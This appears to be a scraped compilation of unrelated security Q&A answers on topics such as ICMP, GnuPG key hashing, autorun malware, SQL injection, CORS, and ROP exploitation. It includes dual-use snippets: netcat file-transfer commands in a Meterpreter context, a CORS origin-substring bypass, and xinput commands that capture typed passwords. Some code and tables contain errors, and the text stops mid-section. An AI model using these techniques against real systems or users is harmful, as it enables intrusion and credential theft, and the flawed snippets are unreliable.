The ICMP Echo protocol (usually known as "Ping") is mostly harmless. Its main security-related issues are:

In the presence of requests with a fake source address ("spoofing"), they can make a target machine send relatively large packets to another host. Note that a Ping response is not substantially larger than the corresponding request, so there is no multiplier effect there: it will not give extra power to the attacker in the context of a denial of service attack. It might protect the attacker against identification, though.
Honored Ping request can yield information about the internal structure of a network. This is not relevant to publicly visible servers, though, since those are already publicly visible.
There used to be security holes in some widespread TCP/IP implementations, where a malformed Ping request could crash a machine (the "ping of death"). But these were duly patched during the previous century, and are no longer a concern.

It is common practice to disable or block Ping on publicly visible servers -- but being common is not the same as being recommended. www.google.com responds to Ping requests; www.microsoft.com does not. Personally, I would recommend letting all ICMP pass for publicly visible servers.

Some ICMP packet types MUST NOT be blocked, in particular the "destination unreachable" ICMP message, because blocking that one breaks path MTU discovery, symptoms being that DSL users (behind a PPPoE layer which restricts MTU to 1492 bytes) cannot access Web sites which block those packets (unless they use the Web proxy provided by their ISP).


Figure out how internet access is being monitored

Since you do not state what kind of "help" you want, I will have to guess. So I suggest the following:

Talk to your father.

With "talk" as in "talking", not "shouting reproaches". Your father installed this monitoring system for a reason, probably a mixture of making him less worried about your well-being, and a safety feature against the re-enacting of some of the less glamorous parts of your past behaviour.

Engaging into a technical evasion war with your father will not work in the long term. Every good strategist will tell you so: don't fight an enemy who, by definition, will always be more powerful than you. Your father has access to the Ultimate Power: the money flow which pays for every single machine and Internet access that you may use. Even if you could somehow detect and remove whatever monitoring system he put in place in your machine (assuming that's the case), in the long run he will still win, even if that entails removing your computer altogether.

So, admit that this battle is unwinnable, and begin the diplomatic part: negotiate surrendering conditions. You are a kid (or used to be) so you know that fathers cannot withstand sweet-talking from their offspring.


What is purpose of --s2k-* GnuPG options?

--s2k-mode sets mode of operation:

0: Simple (hash applied one time to password)
1: Salted (hash applied one time to password+8 byte salt)
3: Iterated and Salted (hash applied chosen number of times to password+8 byte salt)

--s2k-digest-algo sets hash function used for password hashing

--s2k-count sets number of rounds this hash function will be applied

--s2k-cipher-algo chooses cipher for encrypting private key with hashed password

In GnuPG 1.4.12 defaults are (found experimentally):

--s2k-mode = 3
--s2k-digest-algo = SHA1 (supports MD5, RIPEMD-160, SHA2s too)
--s2k-count = 65536 (supports from 1024 to 65011712)
--s2k-cipher-algo = CAST5 (supports 3DES, CAST5, Blofish, AES, Twofish, Camellia too)

You can see how your existing keys are encrypted by typing gpg --list-packets ~/.gnupg/secring.gpg

But all algorithms supported by GnuPG can be efficiently automated at GPUs. So I suggest to use side implementation of bcrypt or scrypt instead of --s2k-* options and then give it's result as passphrase to GnuPG with --s2k-mode set to 0.


PIN delivery: do PCI DSS requirements prevent sending the PIN to an end-user's mobile phone?

Storing PINs is prohibited under PCI DSS so one can assume transmitting PINs is not compliant.


Ultimately, there are actually multiple ways malware can spread through removable media:

Windows Autorun functionality.

Years back, when new software primarily came in the form of physical installation media, Microsoft decided that users shouldn't need to hunt through directory listings to find the installer when they put the media into their computer, and as a result, Autorun was born.

In short, if you have Autorun enabled (all consumer Windows systems do by default), whenever you connect some form of removable media to the system (be it a floppy disk, a CD, a DVD, a flash drive, or even something really exotic like a ZIP disk or Thunderbolt storage device), Windows will look for a file called autorun.inf in the top-level directory of the media. This file, if present, can do a number of interesting things.  The simplest (and most common use) is to just change the icon for the removable media (usually to match whatever product it contains the installer for). However, it can also make Windows run a specific executable off of the media either when you try to open the media by double clicking the icon, or completely automatically.  The most common legitimate use for this these days is USB devices which need special drivers (when you connect it, it looks like a USB flash drive to the system, which sees the Autorun file, which in turn points to an installer for the drivers for the device), but such devices are increasingly rare.

Because Windows doesn't always prompt the user about what to do with the Autorun file, and on top of that most users just click through without thinking (and even if they tell it not to run anything, it may still do so if they manually double click the icon for the media), this is a very popular vector for malware to spread.

Other OSes also have similar functionality, although it's usually turned off by default (or at least, not as trivially exploitable as the Windows Autorun functionality).

Malicious filesystem images.

This one is a bit more technical.  Essentially, by carefully manipulating the filesystem on a device (often by hand with a hex editor), it's theoretically possible to exploit bugs in the filesystem drivers of the OS to do any number of things.  This can be used to hide files from the user (making the above exploit harder to detect), or just to attack the system directly through some exploit in the drivers.  This is not commonly exploited by most malware, but it's also really easy to do with some practice.

Malicious device firmware.

Even rarer than the other two possibilities, it'st technically possible for the firmware on a storage device to directly attack the system itself.  This can be used to produce results like either of the above two options, or just attack some other part of the OS involved with interfacing with the storage device directly.  This is almost exclusively limited to highly targeted attacks because pulling it off from software on an already infected system ranges from 'insanely hard' to functionally impossible', and is almost certainly not what happened here.


Server SSH fingerprint verification when authenticating with private key

To transfer your public key to the server with "ssh-copy-id" you have to connect to the remote ssh server. If you establish the connection for the first time, the fingerprint must be verified.
This is the point, where you are most vulnerable, because the fingerprint is not known.
To mitigate this problem, the server admin should publish the fingerprint on a trusted source. This could be a website with https or as "sshfp-record" dns with dnssec.
If you can upload your public key through a web interface, your public key is already known, but you have the problem, that the server is not known to you.
A full mitm attack is not possible, but an attacker can intercept your connection and trick you in a fake shell. When you are entering passwords, the attacker can log them in plaintext and reuse them for authentication, if your server allows password authentication.
So, public key authentication does not protect you against ssh mitm attacks, if you don't check the fingerprint.
If you are interested in ssh mitm attacks and want to learn more about them, there are some tools available. https://github.com/ssh-mitm/ssh-mitm is able to intercept public key authentication. (I'm the author of this tool)


How to be sure that downloaded file is correct?

Any self-verification mechanism included in the executable file could be replaced or removed by the attacker who intercepts the file. Therefore, we must leave signature verification to a system external to the downloaded executable, for example, the operating system.

There are three possible outcomes such a verification system can produce:

The signature is definitely valid (the signature and data match)
The signature is definitely not valid (the signature and data do not match)
There is no signature provided (the executable is not signed)

In Windows, you may have seen pop-up confirmation windows like this when you try to run an executable:

Here, the executable has been signed and Windows has both

verified the signature on the executable, and
verified the identity of the public verifying key's owner, using a chain of trust based on one of the operating system's trusted certificate authorities.

We know with cryptographic certainty that an entity named WinZip Computing signed this executable, exactly as it exists right now on our hard drive. That's case #1, above.

That's how a security-conscious user can verify that something is definitely unmodified since its original publication. Similarly, the operating system can detect case #2 very easily: it attempts to verify the signature and finds a mismatch instead of a match. In that case, the operating system can sternly tell the user not to run the software because it is incredibly untrustworthy.

However, you want to know how to prevent a user from running something that has undergone arbitrary modifications. It's easy for an attacker to generate case #3 (no signature): simply replace your signed executable with an unsigned modified executable.

In this case, it's up to the user (or a very strict policy on the operating system) to decide never to run any software that does not have a signature. The user must expect a signature for your software and be alarmed at its absence (or otherwise always expect the worst and be deeply mistrustful of any unsigned software). There is no general way to distinguish between software that "should" have a signature but doesn't and software that simply was never given a signature at all (e.g. because the publisher just couldn't be bothered to do it). An attack cannot fake a modified executable so that it matches your signature, but they can produce a modified executable with no signature at all.

Of course, if your transmission method provides integrity (as TLS does) you can be sure that the executable that arrives on the client's computer is the same as the one sent from the server. If you control the server and distribute using TLS (e.g., through HTTPS), you (the distributor) can be sure that your clients are receiving your original software. If you also sign your software, the security conscious users can be sure they are running your original software, but this does nothing for security-unaware users, who don't understand the significance of a cryptographic signature.


Difference between authentication, integrity and data origin authentication

Integrity is about making sure that some piece of data has not been altered from some "reference version". Authenticity is a special case of integrity, where the "reference version" is defined as "whatever it was when it was under control of a specific entity". Authentication is about making sure that a given entity (with whom you are interacting) is who you believe it to be.

In that sense, you get authenticity when integrity and authentication are joined together. If you prefer, authenticity is authentication applied to a piece of data through integrity.

For instance, consider that you use your browser to connect to some https:// Web site. This means SSL. There is authentication during the initial handshake: the server sends its certificate and uses its private key, and the server's certificate contains the server's name; your browser checks that the server's name matches what was expected (the server name part in the URL). Then all the exchanged data is sent as "records" which are encrypted and protected against alteration: this is integrity. Since your browser receives data that is guaranteed unmodified from what it was when it was sent by a duly authenticated server, the data can be said to be "authentic".

Don't overthink things. The terminology is at least half traditional, meaning that it is not necessarily practical. We like to talk about the triad "Confidentiality -  Integrity - Authenticity" mostly because it makes the acronym "CIA", which looks cool.


Response to script-kiddies "scanning" website for vulnerabilities?

Make sure you keep things patched and monitor the situation for any successful breaches.  Consider changing passwords more often than usual as a precaution, but this is pretty typical behavior.  On larger sites, it's basically constantly happening.  When I was running the server for a fan run Nintendo news site that was reasonably popular, we probably had several thousand hits a day that were trying to find issues.  Visibility makes a target more attractive and a lot of the vulnerability searching is automated.


Your guess is head-on. Proof of Work may be a more useful search term: http://en.wikipedia.org/wiki/Proof-of-work_system

To my knowledge, there are mainly patent issues that prevent these systems from being used in modern Internet protocols like IPsec/IKE/SSL. I also heard from some researchers that in their practical evaluation, there was basically zero gain from deploying such protocols to prevent DoS on a typical key exchange protocol. But it could be that they had other scalability issues. Would be interesting to see some real-world evaluation.


Are Bitcoin Scam Recovery business a scam?

Yes, I believe they are called "recovery scams". If you google that, you will get lots of results. Here's an article that talks about such scams. I have come across scammers that promise to recover lost passwords, lost data, etc. so these kinds of "recovery scams" in general can be applied to a variety of subjects. You can usually recognize a scam because of the obscure practices they use, the lack of professionalism, and their unwillingness to get involved in standard procedures.
I took a look at the website of First Option Recovery, and it appears they are based in a virtual office (90 State Street Executive Suites in Albany, New York). They claim they have been mentioned several times in the press, but it appears to be just stuff they have published themselves on websites that let you submit your press releases. They have a YouTube channel and all of their videos have been published over the last 10 months, all of them talk about scams, and they use text-to-speech software for the voice-over (very unprofessional). There are also several reviews on TrustPilot that say they are scammers and will include a few interesting details (for example they will make you send money to the UAE).


Hydra bruteforce is giving wrong passwords. Can't seem to work any help?

Depending on the jurisdiction, what you are doing may be illegal nonetheless, even if that is "your own account". Technically, what you do is an online dictionary attack, so it entails a lot of connections to the target server, which hardly is "normal and fair usage" of the resources of that server. You have an account on that server based on the tacit (or explicit) acceptance of some usage rules, that your attack attempt breaks. To make an analogy: if you rent a safe box in a bank, then bring to the bank an industrial driller and begin to pierce the safe door, the banks may call the cops, even if that is "your" safe box.

Therefore caution is advisable. To make tests without incurring any legal inconvenience, I suggest that you run your own server as a virtual machine on your own PC.

In any case, what THC-HYDRA does is that it submits potential login+password pairs to a given Web server through POST requests -- and it must be able to determine whether the attempt succeeded or failed. At the HTTP level, the response code will always be a 200 (an "OK" code)(that's the whole difference between "HTTP Basic Authentication" and "HTTP form-based authentication"); the tool must somehow "understand" the returned Web page, which necessarily entails some heuristic analysis (the Web page which says "sorry, bad password" is meant for a human being, not for a machine). I suppose that whatever heuristics are applied by default by Hydra do not work well (or at all) for the site you are targeting. Maybe after a dozen attempts, the site returns another error page (no longer "sorry, bad password" but something like "begone, evil hacker !") which is misinterpreted by Hydra into a success report. This would explain what you observe (wrong passwords returned).

If the dialog with the server uses plain HTTP (not HTTPS), then you can observe the requests and responses with a network monitor tool like Wireshark. Otherwise, refer to the Hydra documentation to see how to configure it for response recognition.


Does blocking an IP with IP Tables protect you from a DOS (not DDOS) attack?

My question is, if all you are doing is rejecting their requests,
  then they still have access to try to send information on that port.
  Can they not still overload your server with requests?

Yes, a subset of attackers can.  If their bandwidth is greater than yours, or if they find a way to use your bandwidth faster than theirs to offset the difference, you are starved of bandwidth and legitimate traffic cannot get through.

This is actually true at any time attacker_effective_bandwidth + legitimate_bandwidth > server_bandwidth, so it isn't solely dependent on the attacker's resources, but also on the degree to which you over-provision.

Note also that fail2ban is focused on access attempts and exploits that you log or monitor.  Some denial of service attacks rely on communications that may not be logged (ICMP echo requests, for example), and might not trigger fail2ban.

  if you block their IP and aren't doing any processing on the
  information then they are really throwing pebbles at a brick wall
  there. Is this correct?

It is only correct if the resource you are preserving is CPU, and if fail2ban will observe /trigger based on all traffic that causes CPU usage.  Dropping packets does take a measurable amount of CPU, but it is much smaller than trying to do anything else with them.

  What other reasons would this you be protected from DOS with this
  method?

I don't understand this question, but I think that fail2ban is one tool you might use, and a reasonable one.  However, you should consider adding other tools if the cost of your site going down is greater than the cost of acquiring and maintaining the tools required to prevent it.


This implies that at some point you are constructing SQL statements by string concatenation involving untrusted strings.  Don't do that!  Use prepared statements instead (or some other form of query parameterization), as they are pretty much intrinsically immune to SQLi.

I'm assuming you mean your frontend successfully blocks all the SQLi you tried.  This doesn't mean it will block all SQLi, of course; that depends on how thorough your testing is.

However, once the query reaches your backend (assuming that's your DBMS), there really isn't any way to tell what SQL comes from SQLi and what SQL is legitimate.  You really have to trust that what's coming in on the database connection is trustworthy.

Of course, it is wise to limit the impact of such attacks as much as possible.  Most simply, and commonly, you can limit the permissions of the application's service account on the database to only those actions it actually performs.  This doesn't prevent SQLi per se, but it will lessen the impact if any exists.

Another possible approach is to abstract some of the SQL away in a data access layer the frontend talks to, and avoid passing any strings to the DBMS that didn't come from the application itself (and certain trusted columns in certain tables).  It's much easier to just use prepared statements.


How to deal with a company that doesn't fix (potential) security vulnerabilities in their web app?

Should I give them a second chance

Yes. It is typical to wait several months and communicate several times with the developing company before taking any further action.

If the company has shown that it is not willing to fix the issue, a possible next step is to publicly disclose the issue.

  or contact some kind of data protection authority?

This is a good idea. I don't have experience with this, but you could at least inform such an authority what you found and are discussing next steps with the company.

  And would you consider these problems/vulnerabilites critical?

No, but it shows that they haven't done anything to secure their systems, so it is likely that there are more serious vulnerabilities.


First of all I do not think this is belonging to Security SE Please read Security SE policy regarding questions. Its more of Physics. if I am correct!

I recommend you to read this article about Data Transimission require basic knowledge of physics
Simple way to find more about your question with no prior knowledge of physics is understanding Layer 1.

But however more regarding to your question. Date Transmit is just varying voltage levels in a circuit formed by the network cables.You will find that the details are fiendishly complicated and far too involved to reproduce here. Even the voltage levels used depend on whether it's 10MHz, 100MHz or GHz cabling. GHz uses five voltage levels and pulse amplitude modulation.

The simplest starting point is probably the Wikipedia article on Ethernet over twisted pair. If you want to know more about how the information is encoded look at the Cisco article on Ethernet.

Edit: As @munchkin mentioned not to forget about Endianness and I personally think it is such fundamental part to understand.

First, Endianness, is memory stores the binary data by oprganizing it 8-bit units(bytes) which we called Octec Not to confuse with Octal And how the bytes are ordered within momery:

But really to understand Endianness we need to know word

Wiki: In computing, word is a term for the natural unit of data used by a particular processor design. A word is a fixed-sized piece of data handled as a unit by the instruction set or the hardware of the processor. The number of bytes in a word (the word size, word width, or word length) is an important characteristic of any specific processor design or computer architecture.

Now, Assuming you know about Word, Memory, etc.

Big-Endian System:

**Most Significant Byte** of the word is stored in the *Smallest address given*
**Least Significant Byte** of the word is stored in the *largest address given*

Little-Endian System:

**Most Significant Byte** of the word is stored in the *Largest address given*
**Most Significant Byte** of the word is stored in the *Smallest address given*

And what are these fancy looking words is just terms that describe the order in which a sequence of bytes are stored in computer memory.

Big-Endian System: Most Significant Byte in Smallest = 1 2 3 *Read as One-Hundred-Twenty-Three
Little-Endian System: Most Significant Byte in Largest = 1 2 3 *THREE-Hundred-Twenty-One*

Now, its get bit closer and how that work: For demonstration I'll use this table:

         *-------------*                    *-------------*
         |  Register   |                    |  Register   |
         *-------------*                    *-------------*
*--------* ▼  ▼  ▼  ▼  *           *--------*--▼--▼--▼--▼-*
|Memnory |0A 0B 0C  0D |           |Memnory | 0A 0B 0C 0D |
*--------*-------------*           *--------*--*--*--*--*-*
|        |                         |        |
*--------*                         *--------*
|a|      |                         |a|      |
*-*------*                         *-*------*
|a+1|    |                         |a+1|    |
*---*----*                         *---*----*
|a+2|    |                         |a+2|    |
*---*----*                         *---*----*
|a+3|    |                         |a+3|    |
*---*----*Big-Endian System:       *---*----*Little-Endian System:
Most Significant Byte in Smallest  Most Significant Byte in Largest

Now, Notice the below Diagram

         *-------------*                    *-------------*
         |  Register   |                    |  Register   |
         *-------------*                    *-------------*
*--------* ▼  ▼  ▼  ▼  *           *--------*--▼--▼--▼--▼-*
|Memnory |0A 0B 0C  0D |           |Memnory | 0A 0B 0C 0D |
*--------*-------------*           *--------*--*--*--*--*-*
|        | ▼  ▼  ▼  ▼              |        |  ▼  ▼  ▼  ▼
*--------* |  |  |  |              *--------*  |  |  |  |
|a|    0A|<*  *  |  |              |a|    0 |<----------*
*-*------*    |  |  |              *-*------*  |  |  |
|a+1|  0B|<---*  |  |              |a+1|  0C|<-------*
*---*----*       |  |              *---*----*  |  |
|a+2|  0C|<------*  |              |a+2|  0B|<----*
*---*----*          |              *---*----*  |
|a+3|  0D|<---------*              |a+3|  0A|<-*
*---*----*Big-Endian System:       *---*----*Little-Endian System:
Most Significant Byte in Smallest  Most Significant Byte in Largest

Then, one might wonder how do we know if we are using Big/Little Endian ?

Now! Pay ATTENTION:

         *-------------*                    *-------------*
         |  Register   |                    |  Register   |
         *-------------*                    *-------------*
*--------* ▼  ▼  ▼  ▼  *           *--------*--▼--▼--▼--▼-*
|Memnory |01 02 03  04 |           |Memnory | 01 02 03  0 |
*--------*--*--*--*--*-*           *--------*--*--*--*--*-*
|        | ▼  ▼  ▼  ▼              |        |  ▼  ▼  ▼  ▼
*--------* |  |  |  |              *--------*  |  |  |  |
|a|    01|<*  *  |  |              |a|    04|<----------*
*-*------*    |  |  |              *-*------*  |  |  |
|a+1|  02|<---*  |  |              |a+1|  03|<-------*
*---*----*       |  |              *---*----*  |  |
|a+2|  03|<------*  |              |a+2|  02|<----*
*---*----*          |              *---*----*  |
|a+3|  04|<---------*              |a+3|  01|<-*
*---*----*Big-Endian               *---*----*Little-Endian

Here Processing code:

import "unsafe"
fun main() {
 var x unit32 = 0x01020304
 switch *(*byte)(unsafe.Pointer(&x)) {  //Get the address of &x & convert to pointer. (*byte)(unsafe.Pointer(&x)) convert to (*byte) type NOTE: *(*byte)(unsafe.Pointer(&x)) [Dereference][15].
 case 0x01:
   println("Big Endian")
 case 0x04:
   println("Little Endian")
  }
}

You can try this on your now to see.
My plan was for a brief approach to Endianness but oh well!


Intrusion Prevention Systems: NIPS vs NBA

As far as I can tell, your understanding should be correct.

Many NIPS systems, including the open source standard Snort, combines the two. From Snort's webpage:

  Combining the benefits of signature, protocol, and anomaly-based inspection, Snort is the most widely deployed IDS/IPS technology worldwide.

So the distinction is mostly just classification for classifications sake.


How Legitimate Wifi Hotspots redirect https requests

Most of them just use their own hotspot certificate and hope the users click through the warning and connect anyway. Personally when I see such a warning and I know it's a captive portal I cancel the request and type in an HTTP URL I do not care about such as http://redirect.me.away and let the portal do its thing over HTTP. Once logged in, I retry my HTTPS request which now works.

Most of the time, I avoid them though - filling up their stupid signup forms isn't worth my time, especially given the often poor connection they offer. Maybe one day we'll have an EAP-Enterprise hotspot network where you register once and then your device connects automatically with an username/password and it all operates seamlessly in the background.


Sending HTTP 403 as. 200 - "Silent Identification of Admin"

Generally…

I would not return a 200 OK unless you want to tell web-clients that there is a resource available at the requested URI and that it is accessible (eg: to be indexed by search engines). Especially, I would never return a 200 OK for protected areas as long as the requesting client has not authorized.

Details…

Let me try to provide you with a bit of insight on the HTTP status codes you mentioned:

200 OK

Tells bots (and geeks) that the URI request is valid and the target resource (html page, css file, ZIP download, whatever) exists and is being returned together with that header.

What happens: requesting client gets told that resource exists and is available. It can and will get indexed by bots like search engines.

403 Forbidden

Tells bots (and geeks) that the URI request is invalid as the client requesting the data does not have appropriate authorization to request that resource.

What happens: requesting client gets told that resource exists but that he's not authorized to fetch it. It's like slamming the door on someone's nose while saying "you aren't allowed to do that" because authentication is required. Benign bots and search engines will respect that and treat this 403 Forbidden almost the same as if it were a 404 Not Found. They will not retry to visit the URI unless they have good reason to revisit the URI. Example: when checking new links pointing to that URI.

404 Not Found

Tells bots (and geeks) that the URI request is invalid as the URI that is used does not point to existing data on the server.

What happens: requesting client gets told that resource does not exist. It's like saying "nothing here, don't try again". Benign bots and search engines will not retry to visit the URI unless they have good reason to revisit the URI. Example: when checking new links pointing to that URI.

From a security standpoint…

You should always return the correct header matching the situation. Besides the obvious protocol reasons, let me give you a simple example why correct headers are needed: Imagine someone malicious trying to hack your site. If you always return a 200 OK you will have a hard time filtering the good from the bad requests. But if you - for example - notice a series of 403 Forbidden in your server logs, it's easy to nail down the timestamp, IP, and User Agent... which helps you filter and/or block such client requests.


Is it dangerous to delete my email account?

Yes, any provider that allows old emails to be reused opens you up to accounts registered with that email being recoverable.

Attackers can already spoof the email From: field, but there are mitigations in place, especially with a provider like Gmail. So registering your abandoned email would be a significant win for an attacker, if their goal is to impersonate you.

Using PGP to sign your emails would help with the impersonation aspect, but not with the account recovery attack.

You also never know if your email provider will change their policy in the future, to allow reusing old emails. If you want them to stop retaining your emails, this does put you in a complicated position.


Malicious query string removal ASP.Net MVC5

You should not be removing the malicious query string, but you should be encoding it correctly when output in the page. Blacklists are rarely the way to go in security as things are always changing and there will always be a new way around the blacklist discovered.

For example, if outputting an untrusted value to HTML it should be HTML encoded (" becomes &quot;) or if outputting to JavaScript it should be hex entity encoded (" becomes \x22). By untrusted, read any value where you can't guarantee the source (this means query string, form values, headers or even data from your database which you might think is "safe", but a value is only safe when viewed in the context of its output).

Checkout the OWASP XSS Prevention Cheat Sheet for more details on how to appropriately encode per output context.


What does the bizarre text mean at VirusTotal?

I've just about had it with VirusTotal and its endless nonsense, but AFAIK, there is no (real) alternative in existence.

There is.  You can verify the integrity of the file that you downloaded cryptographically, instead of relying on VirusTotal.
Take the SHA256 hash of the file that you downloaded.  It should be 0f1ea61a9aa9aba383a43bcdb5755b072cfff016b9c6bb0afa772a8685bcf7b0 (it seems that this is what VirusTotal computed, but you might want to verify this to be sure).  If that's the case, then you can rest assured that this is a legitimate file, because this hash appears in https://bitcoin.org/bin/bitcoin-core-0.20.0/SHA256SUMS.asc, and https://bitcoin.org/bin/bitcoin-core-0.20.0/SHA256SUMS.asc is signed with Bitcoin Core developers' private signing key (which you can verify using pgp and Bitcoin Core developers' public key at https://bitcoin.org/laanwj-releases.asc).  In light of all of the above, it's highly unlikely that this is a malicious file.


The key thing you need is ground truth.  You need an a priori way to know which parts of the traffic are in fact attacks, and which are not.

Once you have ground truth, then building the confusion matrix is straightforward.  For each attack in the traffic, you check whether Snort detected the attack or not (this gives you a count of True Positives and False Negatives).  For each non-attack in the traffic, you check whether Snort alerted about an attack or not (this gives you a count of False Positives and True Negatives).  Now you put those four numbers into your 2x2 confusion matrix.

If you don't have ground truth, you cannot build the confusion matrix.

There is no way to use Snort to look at negatives in terms of alerts.


Meterpreter file upload - segmentation fault

why not use Meterpreter to set up a netcat listener that saves the received data as a file?

ubuntu: nc -l 4444 > file.sh (listen for data, save to file.sh)

kali: cat file.sh | nc [ubuntu ip] 4444 (send file.sh to specified port)

To go the opposite direction, do:

kali: cat file.sh | nc -lp 4444 (listen for connection, serve out file.sh)

ubuntu: nc [kali ip] 4444 > file.sh (connect to port, save received data as file.sh)


How can I know that developers will be ethical and not record my password in plaintext

Of course they could, but then they could also just email themselves every time you change your password.

Now, depending on the type of system, there are plenty of regulations, audits, reviews, and processes that might be relevant to ensure that the developers don't do this, or many other types of malicious activity. However, you, as a consumer, usually do not have much insight into any of this - except for when it goes wrong, for example if they email you your original password when you ask to reset it.

But you're asking the wrong question here.
Yes, it is important that whatever systems you use are developed securely, but that will never remove the element of implicit trust you will always have in the system itself - and, in this context, the developers are equivalent to the system itself.

The real question you should be asking - and indeed you seem to be implying this - is how to protect your other accounts, on other systems, from a malicious developer or system.
The answer is simple, really - use a different password for each system.

Allow me to repeat that, for emphasis:

  NEVER REUSE PASSWORDS ON DIFFERENT SYSTEMS.

Create a unique (strong, random, etc) password for each site, and never ever enter your password for SiteA on to SiteB.
Because as you intuitively noted, if SiteB has your password for SiteA in any form, then that password is no longer secure from SiteB.

Just for funsies, here is an xkcd on this:

One last note, if you're starting to worry "How in heck am I going to remember a strong password independently for each different site??!!?" - take a look at this question here on passphrases, and also look into password managers (e.g. Password Safe, Keepass, LastPass, 1Pass, etc).


After your client receives the server's certificate, It could be that the client tries to check certificate revocation.

Save the server's CA certificates to a file and use the -CACert argument (or -CAPath).


What encoding could this be? Looks similar to base64

If it looks like base64 but isn't quite, it might be base64 with a custom alphabet.  This is something that malware writers do to avoid detection (e.g., with data being exfiltrated) and that web application developers do when they think they're being clever (they're usually quite wrong, thinking it's harder to suss out than it is).

I haven't tried to do so, but given a large enough encoded text sample, deciphering the custom alphabet used is quite possible.  You just need to determine the contents of the alphabet, then it's a reconcilable problem to just try different orders out.

(If you build the custom alphabet and it's not 64 characters, it might be another base.  There's nothing magical about base64.  If I recall correctly you can even go crazy wild like base53.)


I agree it is very poorly explained in the article. It took me several reads to understand what on earth was going on.
The key part is here:

Our aim now is to build a chained ROP to execute execve(). As we can see, we don’t have a GOT entry for this function and libc is randomized.
So what we will do first is to leak a libc function address for GOT then we will do some trivial calculation to get the exact execve libc address.

They're making the assumption that you've got an information leak that tells you where any single libc function is. In this case, they're using printf as an example.
From there, the exploit makes way more sense:
The first step is that they populate eax with 0x328160 and ebx with 0x138e9ff4 using the pop; pop; leave gadget. When that add instruction is executed it computes 0x138e9ff4 - 0xb8a0008 = 0x8049fec. This is the address of printf@got in the example. Note that this is the address of the Global Offsets Table (GOT) entry for printf, not the actual printf function itself. The base address of the GOT is not randomised in regular Linux (it may be in grsec-hardened kernels; I haven't looked into it)
The instruction is now essentially: add eax, [0x8049fec]. The attacker knows that for the target version of libc the distance between printf and execve is 0x328160, so when this instruction runs it takes the address of the printf function from the GOT and adds 0x328160 to it (from eax, which was preloaded by the pop pop leave) which loads the address of execve into eax.
The call eax then executes execve.


You cannot explicitly set the Origin or Referer from inside the browser. If you want to have a specific substring in the Origin you need to make sure that the victim is accessing a domain containing this Origin and then you can embed the attack there.

For example, if the string example.com is allowed by the server (like any requests from a domain with this substring are answered with an Access-Control-Allow-Origin: *) then you can setup your a domain example.com.your-own-domain.foo, embed the attack in a page on this domain and make sure that the user visits this domain (for example by having a link in the mail, embedding it in a post in some forum, serving advertisements ...).


Storing credit card information - encrypted at rest

If your client is required to be compliant with PCI DSS, then yes, the card data must be encrypted while at rest.  But, that's the easy part.  The hard part is management of the keys used to decrypt the card data.  There are 90+ pages of things you need to know for this (see https://www.pcisecuritystandards.org/documents/PCI_PIN_Security_Requirements_Testing_v3_Aug2018.pdf).  Your process must be documented, you must keep audit trails, etc.

Most businesses feel that it's much simpler to offload the storage of card data for recurring billing purposes to a service that is setup for this, such as Authorize.Net.  See https://www.authorize.net/our-features/recurring-payments.html.


Why is GPG encrypted message size not proportional to number of recipients & file size?

Because the entire message is not encrypted separately for each recipient.

Instead, a single symmetric encryption key is chosen at random, the message is encrypted once using that key, and then the encryption key is itself encrypted separately for each recipient, using that recipient's public key, and appended to the encrypted message.

Each recipient decrypts the message by first using their private key to decrypt the symmetric encryption, and then decrypts the message using that key.

Since keys are typically much shorter than the plaintext, this saves a lot of space. (It also lets the recipients know they've all decrypted the same message. If the messages were encrypted separately for recipient, a devious sender could send different messages to each recipient, pretending they were all carbon copies of the same message.)

With your data, adding the second recipient added 527 bytes. That second recipient probably had a 512-byte key, plus 15 bytes to identify the recipient. Successive recipients will have had different key lengths and different identifying data, so the amount added for each will vary.


Website doesn't provide cookie (csrf token) when connecting over proxy. Why/how?

It's simple =) In no-proxy case you're tracing all the redirects yourself, so it's no problem to handle it. A proxy can be tricky as the proxy itself(not Tor case, but there are programs that behave a bit weird), so the proxy component for your language can be. Especially it happens frequently with HTTP and HTTPS proxies. Use a tcpdump - it will show you the problem. If you will see no csrf token in your proxy-to-your-code dump, then take a look, maybe it's a captcha page or something. If you actually see a csrf token in a dump, but not in your code - the proxy component is a problem for sure


Should the sole user of a *nix system have two accounts?

Updated dramatically after 69 upvotes, see answer history for original answer. Thanks to @JimmyJames for the discussion.

First, let's talk about threat model: what are you trying to stop the potential attacker from doing?
Threat model: identity theft / ransomeware on a single-user system
Generally for end-user systems the de facto threat model is identity theft / ransomware. If the attacker has access to your documents and/or can run shell commands as you, it's game over. From that perspective, root access doesn't gain the attacker anything; they can get what they want without it.
If identity theft / malware is the only thing you're worried about, then it doesn't seem like it matters much whether your user has sudo powers, or ever whether the browser is running as root.
(I should also point out that malware / connecting you to a botnet can happen without root access since login scripts / scheduling a cron job does not require root).
Randall Munroe at XKCD seems to agree with this view:

Lastly, I'll add this disclaimer: Yes, I'm aware that this goes against the general public opinion that "more security is always better". It's just not true. Sometimes more security is worse, like overly complex password policies that end up forcing people to write down their passwords. You always have to look at the risks and decide how much security is actually appropriate. In this case there's no harm to locking down root access, but you are making your life more complicated and it's not clear that you're gaining anything from it.
Threat model: root access or multi-user system
If you have a threat model where the attacker wants something that only root has access to, or there is more than one user account on the machine, then the answer actually depends on which *nix you're talking about. This is quickly getting away from personal computer cases and into server cases, but I'll discuss anyway. For linux, because of a bug (*ahem feature*) in the Xorg windowing system, your everyday account should probably not have sudo powers. For operating systems that don't use X, it's probably ok.
Linux (running X.org window system)
Here's a great article that shows you how to log all keystrokes on a gui linux machine using a simple user-land (non-root) shell command. In summary:
$ xinput list shows you all connected human-input devices
$ xinput test <id> starts echoing all keystrokes on the selected device.
I tested and I get logs of the password that I type into sudo in a different terminal window. If I lock my computer then when I log back in, I see logs of the password I typed into the lock screen. Apparently this is not a bug in X, it's a feature. Right, I'm gonna go hide under my bed now.
So yeah, this supports the idea that any user you log into in the gui with should not have sudo powers because it's trivial to log your password and then become root. I suppose you should have a dedicated account for sudoing and switch to a TTY terminal (ctrl+alt+#) when you want to use sudo. Whether or not this is worth worrying about is up to you: personally, all the data I care about is already there in my user account, but I probably will change my laptop setup because I'm a security nerd.
Note that in my tests I was not able to keylog across users. Doing "Switch Account" in the gui, or startx in a new tty terminal seems to launch an isolated instance of X.
Thanks to @MichaelKjörling for this observation:

That's one of the things that Wayland [windowing system designed to replace X] actually tries to fix (see the bullet point on security). Remember that X11 originated at a time when the threat model was hugely different from what it is today.

For sysadmins: this reinforces the habit of only interacting with your Linux boxes over ssh, never use the GUI.
Mac OSX
I'm not an OSX expert, but I know that it does not use the Xorg server so I would assume that Apple's GUI handles this properly, but I would love for someone more expert than me to weigh in.
Windows
